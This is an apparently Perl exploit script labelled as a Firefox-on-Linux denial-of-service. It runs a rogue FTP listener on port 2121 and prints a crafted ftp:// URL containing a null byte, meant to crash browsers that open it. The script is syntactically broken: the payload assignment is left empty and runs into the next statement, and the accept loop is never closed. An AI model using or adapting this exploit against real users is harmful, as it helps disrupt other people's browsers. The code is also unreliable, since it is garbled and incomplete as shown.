(exploit) firefox linux DoS

#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =

socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@\x0localhost:2121/\n";;

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
# find out who connected
my ($client_port, $client_ip) = sockaddr_in($client_addr);
my $client_ipnum = inet_ntoa($client_ip);
my $client_host = gethostbyaddr($client_ip, AF_INET);
print ": $client_host", "[$client_ipnum]\n";
# send them a message, close connection
print CLIENT $payload;
close CLIENT;

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